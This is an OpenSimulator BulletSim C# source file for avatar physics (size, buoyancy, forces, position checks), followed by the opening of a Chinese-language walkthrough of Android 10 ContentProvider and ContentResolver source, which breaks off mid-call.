* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyrightD
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the OpenSimulator Project nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
using System;
using System.Collections.Generic;
using System.Reflection;
using log4net;
using OMV = OpenMetaverse;
using OpenSim.Framework;
using OpenSim.Region.PhysicsModules.SharedBase;
namespace OpenSim.Region.PhysicsModule.BulletS
{
public sealed class BSCharacter : BSPhysObject
{
private static readonly ILog m_log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);
private static readonly string LogHeader = "[BULLETS CHAR]";
// private bool _stopped;
private bool _grabbed;
private bool _selected;
private float _mass;
private float _avatarVolume;
private float _collisionScore;
private OMV.Vector3 _acceleration;
private int _physicsActorType;
private bool _isPhysical;
private bool _flying;
private bool _setAlwaysRun;
private bool _throttleUpdates;
private bool _floatOnWater;
private bool _kinematic;
private float _buoyancy;
private OMV.Vector3 _size;
private float _footOffset;
private BSActorAvatarMove m_moveActor;
private const string AvatarMoveActorName = "BSCharacter.AvatarMove";
private OMV.Vector3 _PIDTarget;
private float _PIDTau;
// public override OMV.Vector3 RawVelocity
// { get { return base.RawVelocity; }
// set {
// if (value != base.RawVelocity)
// Util.PrintCallStack();
// Console.WriteLine("Set rawvel to {0}", value);
// base.RawVelocity = value; }
// }
// Avatars are always complete (in the physics engine sense)
public override bool IsIncomplete { get { return false; } }
public BSCharacter(
uint localID, String avName, BSScene parent_scene, OMV.Vector3 pos, OMV.Vector3 vel, OMV.Vector3 size, float footOffset, bool isFlying)
: base(parent_scene, localID, avName, "BSCharacter")
{
_physicsActorType = (int)ActorTypes.Agent;
RawPosition = pos;
_flying = isFlying;
RawOrientation = OMV.Quaternion.Identity;
RawVelocity = vel;
_buoyancy = ComputeBuoyancyFromFlying(isFlying);
Friction = BSParam.AvatarStandingFriction;
Density = BSParam.AvatarDensity;
_isPhysical = true;
_footOffset = footOffset;
// Adjustments for zero X and Y made in Size()
// This also computes avatar scale, volume, and mass
SetAvatarSize(size, footOffset, true /* initializing */);
DetailLog(
"{0},BSCharacter.create,call,size={1},scale={2},density={3},volume={4},mass={5},pos={6},vel={7}",
LocalID, Size, Scale, Density, _avatarVolume, RawMass, pos, vel);
// do actual creation in taint time
PhysScene.TaintedObject(LocalID, "BSCharacter.create", delegate()
{
DetailLog("{0},BSCharacter.create,taint", LocalID);
// New body and shape into PhysBody and PhysShape
PhysScene.Shapes.GetBodyAndShape(true, PhysScene.World, this);
// The avatar's movement is controlled by this motor that speeds up and slows down
// the avatar seeking to reach the motor's target speed.
// This motor runs as a prestep action for the avatar so it will keep the avatar
// standing as well as moving. Destruction of the avatar will destroy the pre-step action.
m_moveActor = new BSActorAvatarMove(PhysScene, this, AvatarMoveActorName);
PhysicalActors.Add(AvatarMoveActorName, m_moveActor);
SetPhysicalProperties();
IsInitialized = true;
});
return;
}
// called when this character is being destroyed and the resources should be released
public override void Destroy()
{
IsInitialized = false;
base.Destroy();
DetailLog("{0},BSCharacter.Destroy", LocalID);
PhysScene.TaintedObject(LocalID, "BSCharacter.destroy", delegate()
{
PhysScene.Shapes.DereferenceBody(PhysBody, null /* bodyCallback */);
PhysBody.Clear();
PhysShape.Dereference(PhysScene);
PhysShape = new BSShapeNull();
});
}
private void SetPhysicalProperties()
{
PhysScene.PE.RemoveObjectFromWorld(PhysScene.World, PhysBody);
ForcePosition = RawPosition;
// Set the velocity
if (m_moveActor != null)
m_moveActor.SetVelocityAndTarget(RawVelocity, RawVelocity, false);
ForceVelocity = RawVelocity;
TargetVelocity = RawVelocity;
// This will enable or disable the flying buoyancy of the avatar.
// Needs to be reset especially when an avatar is recreated after crossing a region boundry.
Flying = _flying;
PhysScene.PE.SetRestitution(PhysBody, BSParam.AvatarRestitution);
PhysScene.PE.SetMargin(PhysShape.physShapeInfo, PhysScene.Params.collisionMargin);
PhysScene.PE.SetLocalScaling(PhysShape.physShapeInfo, Scale);
PhysScene.PE.SetContactProcessingThreshold(PhysBody, BSParam.ContactProcessingThreshold);
if (BSParam.CcdMotionThreshold > 0f)
{
PhysScene.PE.SetCcdMotionThreshold(PhysBody, BSParam.CcdMotionThreshold);
PhysScene.PE.SetCcdSweptSphereRadius(PhysBody, BSParam.CcdSweptSphereRadius);
}
UpdatePhysicalMassProperties(RawMass, false);
// Make so capsule does not fall over
PhysScene.PE.SetAngularFactorV(PhysBody, OMV.Vector3.Zero);
// The avatar mover sets some parameters.
PhysicalActors.Refresh();
PhysScene.PE.AddToCollisionFlags(PhysBody, CollisionFlags.CF_CHARACTER_OBJECT);
PhysScene.PE.AddObjectToWorld(PhysScene.World, PhysBody);
// PhysicsScene.PE.ForceActivationState(PhysBody, ActivationState.ACTIVE_TAG);
PhysScene.PE.ForceActivationState(PhysBody, ActivationState.DISABLE_DEACTIVATION);
PhysScene.PE.UpdateSingleAabb(PhysScene.World, PhysBody);
// Do this after the object has been added to the world
if (BSParam.AvatarToAvatarCollisionsByDefault)
PhysBody.collisionType = CollisionType.Avatar;
else
PhysBody.collisionType = CollisionType.PhantomToOthersAvatar;
PhysBody.ApplyCollisionMask(PhysScene);
}
public override void RequestPhysicsterseUpdate()
{
base.RequestPhysicsterseUpdate();
}
// No one calls this method so I don't know what it could possibly mean
public override bool Stopped { get { return false; } }
public override OMV.Vector3 Size {
get
{
return _size;
}
set {
setAvatarSize(value, _footOffset);
}
}
// OpenSim 0.9 introduces a common avatar size computation
public override void setAvatarSize(OMV.Vector3 size, float feetOffset)
{
SetAvatarSize(size, feetOffset, false /* initializing */);
}
// Internal version that, if initializing, doesn't do all the updating of the physics engine
public void SetAvatarSize(OMV.Vector3 size, float feetOffset, bool initializing)
{
OMV.Vector3 newSize = size;
if (newSize.IsFinite())
{
// Old versions of ScenePresence passed only the height. If width and/or depth are zero,
// replace with the default values.
if (newSize.X == 0f) newSize.X = BSParam.AvatarCapsuleDepth;
if (newSize.Y == 0f) newSize.Y = BSParam.AvatarCapsuleWidth;
if (newSize.X < 0.01f) newSize.X = 0.01f;
if (newSize.Y < 0.01f) newSize.Y = 0.01f;
if (newSize.Z < 0.01f) newSize.Z = BSParam.AvatarCapsuleHeight;
}
else
{
newSize = new OMV.Vector3(BSParam.AvatarCapsuleDepth, BSParam.AvatarCapsuleWidth, BSParam.AvatarCapsuleHeight);
}
// This is how much the avatar size is changing. Positive means getting bigger.
// The avatar altitude must be adjusted for this change.
float heightChange = newSize.Z - Size.Z;
_size = newSize;
Scale = ComputeAvatarScale(Size);
ComputeAvatarVolumeAndMass();
DetailLog("{0},BSCharacter.setSize,call,size={1},scale={2},density={3},volume={4},mass={5}",
LocalID, _size, Scale, Density, _avatarVolume, RawMass);
PhysScene.TaintedObject(LocalID, "BSCharacter.setSize", delegate()
{
if (PhysBody.HasPhysicalBody && PhysShape.physShapeInfo.HasPhysicalShape)
{
PhysScene.PE.SetLocalScaling(PhysShape.physShapeInfo, Scale);
UpdatePhysicalMassProperties(RawMass, true);
// Adjust the avatar's position to account for the increase/decrease in size
ForcePosition = new OMV.Vector3(RawPosition.X, RawPosition.Y, RawPosition.Z + heightChange / 2f);
// Make sure this change appears as a property update event
PhysScene.PE.PushUpdate(PhysBody);
}
});
}
public override PrimitiveBaseShape Shape
{
set { BaseShape = value; }
}
public override bool Grabbed {
set { _grabbed = value; }
}
public override bool Selected {
set { _selected = value; }
}
public override bool IsSelected
{
get { return _selected; }
}
public override void CrossingFailure() { return; }
public override void link(PhysicsActor obj) { return; }
public override void delink() { return; }
// Set motion values to zero.
// Do it to the properties so the values get set in the physics engine.
// Push the setting of the values to the viewer.
// Called at taint time!
public override void ZeroMotion(bool inTaintTime)
{
RawVelocity = OMV.Vector3.Zero;
_acceleration = OMV.Vector3.Zero;
RawRotationalVelocity = OMV.Vector3.Zero;
// Zero some other properties directly into the physics engine
PhysScene.TaintedObject(inTaintTime, LocalID, "BSCharacter.ZeroMotion", delegate()
{
if (PhysBody.HasPhysicalBody)
PhysScene.PE.ClearAllForces(PhysBody);
});
}
public override void ZeroAngularMotion(bool inTaintTime)
{
RawRotationalVelocity = OMV.Vector3.Zero;
PhysScene.TaintedObject(inTaintTime, LocalID, "BSCharacter.ZeroMotion", delegate()
{
if (PhysBody.HasPhysicalBody)
{
PhysScene.PE.SetInterpolationAngularVelocity(PhysBody, OMV.Vector3.Zero);
PhysScene.PE.SetAngularVelocity(PhysBody, OMV.Vector3.Zero);
// The next also get rid of applied linear force but the linear velocity is untouched.
PhysScene.PE.ClearForces(PhysBody);
}
});
}
public override void LockAngularMotion(byte axislocks) { return; }
public override OMV.Vector3 Position {
get {
// Don't refetch the position because this function is called a zillion times
// RawPosition = PhysicsScene.PE.GetObjectPosition(Scene.World, LocalID);
return RawPosition;
}
set {
RawPosition = value;
PhysScene.TaintedObject(LocalID, "BSCharacter.setPosition", delegate()
{
DetailLog("{0},BSCharacter.SetPosition,taint,pos={1},orient={2}", LocalID, RawPosition, RawOrientation);
PositionSanityCheck();
ForcePosition = RawPosition;
});
}
}
public override OMV.Vector3 ForcePosition {
get {
RawPosition = PhysScene.PE.GetPosition(PhysBody);
return RawPosition;
}
set {
RawPosition = value;
if (PhysBody.HasPhysicalBody)
{
PhysScene.PE.SetTranslation(PhysBody, RawPosition, RawOrientation);
}
}
}
// Check that the current position is sane and, if not, modify the position to make it so.
// Check for being below terrain or on water.
// Returns 'true' of the position was made sane by some action.
private bool PositionSanityCheck()
{
bool ret = false;
// TODO: check for out of bounds
if (!PhysScene.TerrainManager.IsWithinKnownTerrain(RawPosition))
{
// The character is out of the known/simulated area.
// Force the avatar position to be within known. ScenePresence will use the position
// plus the velocity to decide if the avatar is moving out of the region.
RawPosition = PhysScene.TerrainManager.ClampPositionIntoKnownTerrain(RawPosition);
DetailLog("{0},BSCharacter.PositionSanityCheck,notWithinKnownTerrain,clampedPos={1}", LocalID, RawPosition);
return true;
}
// If below the ground, move the avatar up
float terrainHeight = PhysScene.TerrainManager.GetTerrainHeightAtXYZ(RawPosition);
if (Position.Z < terrainHeight)
{
DetailLog("{0},BSCharacter.PositionSanityCheck,adjustForUnderGround,pos={1},terrain={2}", LocalID, RawPosition, terrainHeight);
RawPosition = new OMV.Vector3(RawPosition.X, RawPosition.Y, terrainHeight + BSParam.AvatarBelowGroundUpCorrectionMeters);
ret = true;
}
if ((CurrentCollisionFlags & CollisionFlags.BS_FLOATS_ON_WATER) != 0)
{
float waterHeight = PhysScene.TerrainManager.GetWaterLevelAtXYZ(RawPosition);
if (Position.Z < waterHeight)
{
RawPosition = new OMV.Vector3(RawPosition.X, RawPosition.Y, waterHeight);
ret = true;
}
}
return ret;
}
// A version of the sanity check that also makes sure a new position value is
// pushed back to the physics engine. This routine would be used by anyone
// who is not already pushing the value.
private bool PositionSanityCheck(bool inTaintTime)
{
bool ret = false;
if (PositionSanityCheck())
{
// The new position value must be pushed into the physics engine but we can't
// just assign to "Position" because of potential call loops.
PhysScene.TaintedObject(inTaintTime, LocalID, "BSCharacter.PositionSanityCheck", delegate()
{
DetailLog("{0},BSCharacter.PositionSanityCheck,taint,pos={1},orient={2}", LocalID, RawPosition, RawOrientation);
ForcePosition = RawPosition;
});
ret = true;
}
return ret;
}
public override float Mass { get { return _mass; } }
// used when we only want this prim's mass and not the linkset thing
public override float RawMass {
get {return _mass; }
}
public override void UpdatePhysicalMassProperties(float physMass, bool inWorld)
{
OMV.Vector3 localInertia = PhysScene.PE.CalculateLocalInertia(PhysShape.physShapeInfo, physMass);
PhysScene.PE.SetMassProps(PhysBody, physMass, localInertia);
}
public override OMV.Vector3 Force {
get { return RawForce; }
set {
RawForce = value;
// m_log.DebugFormat("{0}: Force = {1}", LogHeader, _force);
PhysScene.TaintedObject(LocalID, "BSCharacter.SetForce", delegate()
{
DetailLog("{0},BSCharacter.setForce,taint,force={1}", LocalID, RawForce);
if (PhysBody.HasPhysicalBody)
PhysScene.PE.SetObjectForce(PhysBody, RawForce);
});
}
}
// Avatars don't do vehicles
public override int VehicleType { get { return (int)Vehicle.TYPE_NONE; } set { return; } }
public override void VehicleFloatParam(int param, float value) { }
public override void VehicleVectorParam(int param, OMV.Vector3 value) {}
public override void VehicleRotationParam(int param, OMV.Quaternion rotation) { }
public override void VehicleFlags(int param, bool remove) { }
// Allows the detection of collisions with inherently non-physical prims. see llVolumeDetect for more
public override void SetVolumeDetect(int param) { return; }
public override bool IsVolumeDetect { get { return false; } }
public override OMV.Vector3 GeometricCenter { get { return OMV.Vector3.Zero; } }
public override OMV.Vector3 CenterOfMass { get { return OMV.Vector3.Zero; } }
// PhysicsActor.TargetVelocity
// Sets the target in the motor. This starts the changing of the avatar's velocity.
public override OMV.Vector3 TargetVelocity
{
get
{
return base.m_targetVelocity;
}
set
{
DetailLog("{0},BSCharacter.setTargetVelocity,call,vel={1}", LocalID, value);
OMV.Vector3 targetVel = value;
if (!_flying)
{
if (_setAlwaysRun)
targetVel *= new OMV.Vector3(BSParam.AvatarAlwaysRunFactor, BSParam.AvatarAlwaysRunFactor, 1f);
else
if (BSParam.AvatarWalkVelocityFactor != 1f)
targetVel *= new OMV.Vector3(BSParam.AvatarWalkVelocityFactor, BSParam.AvatarWalkVelocityFactor, 1f);
}
base.m_targetVelocity = targetVel;
if (m_moveActor != null)
m_moveActor.SetVelocityAndTarget(RawVelocity, base.m_targetVelocity, false /* inTaintTime */);
}
}
// Directly setting velocity means this is what the user really wants now.
public override OMV.Vector3 Velocity {
get { return RawVelocity; }
set {
if (m_moveActor != null)
{
// m_moveActor.SetVelocityAndTarget(OMV.Vector3.Zero, OMV.Vector3.Zero, false /* inTaintTime */);
m_moveActor.SetVelocityAndTarget(RawVelocity, RawVelocity, false /* inTaintTime */);
}
base.Velocity = value;
}
}
// SetMomentum just sets the velocity without a target. We need to stop the movement actor if a character.
public override void SetMomentum(OMV.Vector3 momentum)
{
if (m_moveActor != null)
{
// m_moveActor.SetVelocityAndTarget(OMV.Vector3.Zero, OMV.Vector3.Zero, false /* inTaintTime */);
m_moveActor.SetVelocityAndTarget(RawVelocity, RawVelocity, false /* inTaintTime */);
}
base.SetMomentum(momentum);
}
public override OMV.Vector3 ForceVelocity {
get { return RawVelocity; }
set {
DetailLog("{0},BSCharacter.ForceVelocity.set={1}", LocalID, value);
RawVelocity = Util.ClampV(value, BSParam.MaxLinearVelocity);
PhysScene.PE.SetLinearVelocity(PhysBody, RawVelocity);
PhysScene.PE.Activate(PhysBody, true);
}
}
public override OMV.Vector3 Torque {
get { return RawTorque; }
set { RawTorque = value;
}
}
public override float CollisionScore {
get { return _collisionScore; }
set { _collisionScore = value;
}
}
public override OMV.Vector3 Acceleration {
get { return _acceleration; }
set { _acceleration = value; }
}
public override OMV.Quaternion Orientation {
get { return RawOrientation; }
set {
// Orientation is set zillions of times when an avatar is walking. It's like
// the viewer doesn't trust us.
if (RawOrientation != value)
{
RawOrientation = value;
PhysScene.TaintedObject(LocalID, "BSCharacter.setOrientation", delegate()
{
// Bullet assumes we know what we are doing when forcing orientation
// so it lets us go against all the rules and just compensates for them later.
// This forces rotation to be only around the Z axis and doesn't change any of the other axis.
// This keeps us from flipping the capsule over which the veiwer does not understand.
float oRoll, oPitch, oYaw;
RawOrientation.GetEulerAngles(out oRoll, out oPitch, out oYaw);
OMV.Quaternion trimmedOrientation = OMV.Quaternion.CreateFromEulers(0f, 0f, oYaw);
// DetailLog("{0},BSCharacter.setOrientation,taint,val={1},valDir={2},conv={3},convDir={4}",
// LocalID, RawOrientation, OMV.Vector3.UnitX * RawOrientation,
// trimmedOrientation, OMV.Vector3.UnitX * trimmedOrientation);
ForceOrientation = trimmedOrientation;
});
}
}
}
// Go directly to Bullet to get/set the value.
public override OMV.Quaternion ForceOrientation
{
get
{
RawOrientation = PhysScene.PE.GetOrientation(PhysBody);
return RawOrientation;
}
set
{
RawOrientation = value;
if (PhysBody.HasPhysicalBody)
{
// RawPosition = PhysicsScene.PE.GetPosition(BSBody);
PhysScene.PE.SetTranslation(PhysBody, RawPosition, RawOrientation);
}
}
}
public override int PhysicsActorType {
get { return _physicsActorType; }
set { _physicsActorType = value;
}
}
public override bool IsPhysical {
get { return _isPhysical; }
set { _isPhysical = value;
}
}
public override bool IsSolid {
get { return true; }
}
public override bool IsStatic {
get { return false; }
}
public override bool IsPhysicallyActive {
get { return true; }
}
public override bool Flying {
get { return _flying; }
set {
_flying = value;
// simulate flying by changing the effect of gravity
Buoyancy = ComputeBuoyancyFromFlying(_flying);
}
}
// Flying is implimented by changing the avatar's buoyancy.
// Would this be done better with a vehicle type?
private float ComputeBuoyancyFromFlying(bool ifFlying) {
return ifFlying ? 1f : 0f;
}
public override bool
SetAlwaysRun {
get { return _setAlwaysRun; }
set { _setAlwaysRun = value; }
}
public override bool ThrottleUpdates {
get { return _throttleUpdates; }
set { _throttleUpdates = value; }
}
public override bool FloatOnWater {
set {
_floatOnWater = value;
PhysScene.TaintedObject(LocalID, "BSCharacter.setFloatOnWater", delegate()
{
if (PhysBody.HasPhysicalBody)
{
if (_floatOnWater)
CurrentCollisionFlags = PhysScene.PE.AddToCollisionFlags(PhysBody, CollisionFlags.BS_FLOATS_ON_WATER);
else
CurrentCollisionFlags = PhysScene.PE.RemoveFromCollisionFlags(PhysBody, CollisionFlags.BS_FLOATS_ON_WATER);
}
});
}
}
public override bool Kinematic {
get { return _kinematic; }
set { _kinematic = value; }
}
// neg=fall quickly, 0=1g, 1=0g, pos=float up
public override float Buoyancy {
get { return _buoyancy; }
set { _buoyancy = value;
PhysScene.TaintedObject(LocalID, "BSCharacter.setBuoyancy", delegate()
{
DetailLog("{0},BSCharacter.setBuoyancy,taint,buoy={1}", LocalID, _buoyancy);
ForceBuoyancy = _buoyancy;
});
}
}
public override float ForceBuoyancy {
get { return _buoyancy; }
set {
_buoyancy = value;
DetailLog("{0},BSCharacter.setForceBuoyancy,taint,buoy={1}", LocalID, _buoyancy);
// Buoyancy is faked by changing the gravity applied to the object
float grav = BSParam.Gravity * (1f - _buoyancy);
Gravity = new OMV.Vector3(0f, 0f, grav);
if (PhysBody.HasPhysicalBody)
PhysScene.PE.SetGravity(PhysBody, Gravity);
}
}
// Used for MoveTo
public override OMV.Vector3 PIDTarget {
set { _PIDTarget = value; }
}
public override bool PIDActive { get; set; }
public override float PIDTau {
set { _PIDTau = value; }
}
public override void AddForce(OMV.Vector3 force, bool pushforce)
{
// Since this force is being applied in only one step, make this a force per second.
OMV.Vector3 addForce = force;
// The interaction of this force with the simulator rate and collision occurance is tricky.
// ODE multiplies the force by 100
// ubODE multiplies the force by 5.3
// BulletSim, after much in-world testing, thinks it gets a similar effect by multiplying mass*0.315f
// This number could be a feature of friction or timing, but it seems to move avatars the same as ubODE
addForce *= Mass * BSParam.AvatarAddForcePushFactor;
DetailLog("{0},BSCharacter.addForce,call,force={1},addForce={2},push={3},mass={4}", LocalID, force, addForce, pushforce, Mass);
AddForce(false, addForce);
}
public override void AddForce(bool inTaintTime, OMV.Vector3 force) {
if (force.IsFinite())
{
OMV.Vector3 addForce = Util.ClampV(force, BSParam.MaxAddForceMagnitude);
// DetailLog("{0},BSCharacter.addForce,call,force={1},push={2},inTaint={3}", LocalID, addForce, pushforce, inTaintTime);
PhysScene.TaintedObject(inTaintTime, LocalID, "BSCharacter.AddForce", delegate()
{
// Bullet adds this central force to the total force for this tick
// DetailLog("{0},BSCharacter.addForce,taint,force={1}", LocalID, addForce);
if (PhysBody.HasPhysicalBody)
{
// Bullet adds this central force to the total force for this tick.
// Deep down in Bullet:
// linearVelocity += totalForce / mass * timeStep;
PhysScene.PE.ApplyCentralForce(PhysBody, addForce);
PhysScene.PE.Activate(PhysBody, true);
}
if (m_moveActor != null)
{
m_moveActor.SuppressStationayCheckUntilLowVelocity(BSParam.AvatarAddForceFrames);
}
});
}
else
{
m_log.WarnFormat("{0}: Got a NaN force applied to a character. LocalID={1}", LogHeader, LocalID);
return;
}
}
public override void AddAngularForce(bool inTaintTime, OMV.Vector3 force) {
}
// The avatar's physical shape (whether capsule or cube) is unit sized. BulletSim sets
// the scale of that unit shape to create the avatars full size.
private OMV.Vector3 ComputeAvatarScale(OMV.Vector3 size)
{
OMV.Vector3 newScale = size;
if (BSParam.AvatarUseBefore09SizeComputation)
{
// Bullet's capsule total height is the "passed height + radius * 2";
// The base capsule is 1 unit in diameter and 2 units in height (passed radius=0.5, passed height = 1)
// The number we pass in for 'scaling' is the multiplier to get that base
// shape to be the size desired.
// So, when creating the scale for the avatar height, we take the passed height
// (size.Z) and remove the caps.
// An oddity of the Bullet capsule implementation is that it presumes the Y
// dimension is the radius of the capsule. Even though some of the code allows
// for a asymmetrical capsule, other parts of the code presume it is cylindrical.
// Scale is multiplier of radius with one of "0.5"
float heightAdjust = BSParam.AvatarHeightMidFudge;
if (BSParam.AvatarHeightLowFudge != 0f || BSParam.AvatarHeightHighFudge != 0f)
{
const float AVATAR_LOW = 1.1f;
const float AVATAR_MID = 1.775f; // 1.87f
const float AVATAR_HI = 2.45f;
// An avatar is between 1.1 and 2.45 meters. Midpoint is 1.775m.
float midHeightOffset = size.Z - AVATAR_MID;
if (midHeightOffset < 0f)
{
// Small avatar. Add the adjustment based on the distance from midheight
heightAdjust += ((-1f * midHeightOffset) / (AVATAR_MID - AVATAR_LOW)) * BSParam.AvatarHeightLowFudge;
}
else
{
// Large avatar. Add the adjustment based on the distance from midheight
heightAdjust += ((midHeightOffset) / (AVATAR_HI - AVATAR_MID)) * BSParam.AvatarHeightHighFudge;
}
}
if (BSParam.AvatarShape == BSShapeCollection.AvatarShapeCapsule)
{
newScale.X = size.X / 2f;
newScale.Y = size.Y / 2f;
// The total scale height is the central cylindar plus the caps on the two ends.
newScale.Z = (size.Z + (Math.Min(size.X, size.Y) * 2) + heightAdjust) / 2f;
}
else
{
newScale.Z = size.Z + heightAdjust;
}
// m_log.DebugFormat("{0} ComputeAvatarScale: size={1},adj={2},scale={3}", LogHeader, size, heightAdjust, newScale);
// If smaller than the endcaps, just fake like we're almost that small
if (newScale.Z < 0)
newScale.Z = 0.1f;
DetailLog("{0},BSCharacter.ComputeAvatarScale,size={1},lowF={2},midF={3},hiF={4},adj={5},newScale={6}",
LocalID, size, BSParam.AvatarHeightLowFudge, BSParam.AvatarHeightMidFudge, BSParam.AvatarHeightHighFudge, heightAdjust, newScale);
}
else
{
newScale.Z = size.Z + _footOffset;
DetailLog("{0},BSCharacter.ComputeAvatarScale,using newScale={1}, footOffset={2}", LocalID, newScale, _footOffset);
}
return newScale;
}
// set _avatarVolume and _mass based on capsule size, _density and Scale
private void ComputeAvatarVolumeAndMass()
{
if (BSParam.AvatarShape == BSShapeCollection.AvatarShapeCapsule)
{
_avatarVolume = (float)(
Math.PI
* Size.X / 2f
* Size.Y / 2f // the area of capsule cylinder
* Size.Z // times height of capsule cylinder
+ 1.33333333f
* Math.PI
* Size.X / 2f
* Math.Min(Size.X, Size.Y) / 2
* Size.Y / 2f // plus the volume of the capsule end caps
);
}
else
{
_avatarVolume = Size.X * Size.Y * Size.Z;
}
_mass = Density * BSParam.DensityScaleFactor * _avatarVolume;
}
// The physics engine says that properties have updated. Update same and inform
// the world that things have changed.
public override void UpdateProperties(EntityProperties entprop)
{
// Let anyone (like the actors) modify the updated properties before they are pushed into the object and the simulator.
TriggerPreUpdatePropertyAction(ref entprop);
RawPosition = entprop.Position;
RawOrientation = entprop.Rotation;
// Smooth velocity. OpenSimulator is VERY sensitive to changes in velocity of the avatar
// and will send agent updates to the clients if velocity changes by more than
// 0.001m/s. Bullet introduces a lot of jitter in the velocity which causes many
// extra updates.
//
// XXX: Contrary to the above comment, setting an update threshold here above 0.4 actually introduces jitter to
// avatar movement rather than removes it. The larger the threshold, the bigger the jitter.
// This is most noticeable in level flight and can be seen with
// the "show updates" option in a viewer. With an update threshold, the RawVelocity cycles between a lower
// bound and an upper bound, where the difference between the two is enough to trigger a large delta v update
// and subsequently trigger an update in ScenePresence.SendTerseUpdateToAllClients(). The cause of this cycle (feedback?)
// has not yet been identified.
//
// If there is a threshold below 0.4 or no threshold check at all (as in ODE), then RawVelocity stays constant and extra
// updates are not triggered in ScenePresence.SendTerseUpdateToAllClients().
// if (!entprop.Velocity.ApproxEquals(RawVelocity, 0.1f))
RawVelocity = entprop.Velocity;
_acceleration = entprop.Acceleration;
RawRotationalVelocity = entprop.RotationalVelocity;
// Do some sanity checking for the avatar. Make sure it's above ground and inbounds.
if (PositionSanityCheck(true))
{
DetailLog("{0},BSCharacter.UpdateProperties,updatePosForSanity,pos={1}", LocalID, RawPosition);
entprop.Position = RawPosition;
}
// remember the current and last set values
LastEntityProperties = CurrentEntityProperties;
CurrentEntityProperties = entprop;
// Tell the linkset about value changes
// Linkset.UpdateProperties(UpdatedProperties.EntPropUpdates, this);
// Avatars don't report their changes the usual way. Changes are checked for in the heartbeat loop.
// PhysScene.PostUpdate(this);
DetailLog("{0},BSCharacter.UpdateProperties,call,pos={1},orient={2},vel={3},accel={4},rotVel={5}",
LocalID, RawPosition, RawOrientation, RawVelocity, _acceleration, RawRotationalVelocity);
}
}
}
|
{
"pile_set_name": "Github"
}
|
# 深入理解Android之 ContentProvider
> 内容提供程序有助于应用管理其自身和其他应用所存储数据的访问,并提供与其他应用共享数据的方法。它们会封装数据,并提供用于定义数据安全性的机制。内容提供程序是一种标准接口,可将一个进程中的数据与另一个进程中运行的代码进行连。实现内容提供程序大有好处。最重要的是,通过配置内容提供程序,您可以使其他应用安全地访问和修改您的应用数据(摘自官方文档)。本文源码基于 [Android 10](https://cs.android.com/android/platform/superproject/+/android-10.0.0_r30:)
## ContentProvider 知识回顾

## ContentProvider 的启动
- 本文不会去讨论ContentProvider如何使用。在应用程序中使用 getContentResolver.query 来查询内容提供者数据,直接分析背后的逻辑。
### getContentResolver.query方法调用到AMS
>本文 AMS 指代 ActivityManagerService
- 源码分析从getContentResolver.query开始。首先要搞清楚getContentResolver获取的是啥。要获取ContentProvider的数据,直接使用Context的getContentResolver方法,毫无疑问,该方法的最终实现在ContextImpl中。
>frameworks/base/core/java/android/app/ContextImpl.java
```
@Override
public ContentResolver getContentResolver() {
return mContentResolver;
}
```
- 由以上源码只是返回了mContentResolver,它对于的是ApplicationContentResolver对象,该对象创建在ContextImpl构造方法中
>frameworks/base/core/java/android/app/ContextImpl.java
```
private ContextImpl(@Nullable ContextImpl container, @NonNull ActivityThread mainThread,
@NonNull LoadedApk packageInfo, @Nullable String splitName,
@Nullable IBinder activityToken, @Nullable UserHandle user, int flags,
@Nullable ClassLoader classLoader, @Nullable String overrideOpPackageName) {
.......
mContentResolver = new ApplicationContentResolver(this, mainThread);
}
private static final class ApplicationContentResolver extends ContentResolver {
.....
}
```
- 由以上源码,可以清楚了解到getContentResolver方法最终获取的是继承了ContentResolver类的ApplicationContentResolver对象,而这个对象创建在应用程序进程启动的过程就已经创建了,并且持有**ActivityThread**对象(ContextImpl构造方法)。ContentResolver类为应用程序提供了对内容模型的访问。所以query方法实际为ContentResolver类的query方法。
> frameworks/base/core/java/android/content/ContentResolver.java
```
public final @Nullable Cursor query(final @RequiresPermission.Read @NonNull Uri uri,
@Nullable String[] projection, @Nullable Bundle queryArgs,
@Nullable CancellationSignal cancellationSignal) {
Preconditions.checkNotNull(uri, "uri");
......
IContentProvider unstableProvider = acquireUnstableProvider(uri);//1
if (unstableProvider == null) {
return null;
}
.....
}
public static final String SCHEME_CONTENT = "content";
/**
* Returns the content provider for the given content URI.
*
* @param uri The URI to a content provider
* @return The ContentProvider for the given URI, or null if no content provider is found.
* @hide
*/
public final IContentProvider acquireUnstableProvider(Uri uri) {
if (!SCHEME_CONTENT.equals(uri.getScheme())) {//2
return null;
}
String auth = uri.getAuthority();
if (auth != null) {
return acquireUnstableProvider(mContext, uri.getAuthority());//3
}
return null;
}
/**
* The ipc interface to talk to a content provider.
* @hide
*/
public interface IContentProvider extends IInterface {
......
}
```
1. 通过以上源码,注释1处调用的acquireUnstableProvider方法最终调用的是ContentResolver的抽象方法acquireUnstableProvider(注释3处),他的实现在ApplicationContentResolver类
2. 注释2处会判断传入的 uri是否包含**content**,表明当前请求是否是访问ContentProvider
3. acquireUnstableProvider要返回的是**IContentProvider**对象,看到IInterface就可以明白它就是AIDL接口,可实现进程间程通信,也就是Binder通信。接着看到ApplicationContentResolver的acquireUnstableProvider方法
> frameworks/base/core/java/android/app/ContextImpl.java
```
private static final class ApplicationContentResolver extends ContentResolver {
@UnsupportedAppUsage
private final ActivityThread mMainThread;
......
@Override
protected IContentProvider acquireUnstableProvider(Context c, String auth) {
return mMainThread.acquireProvider(c,
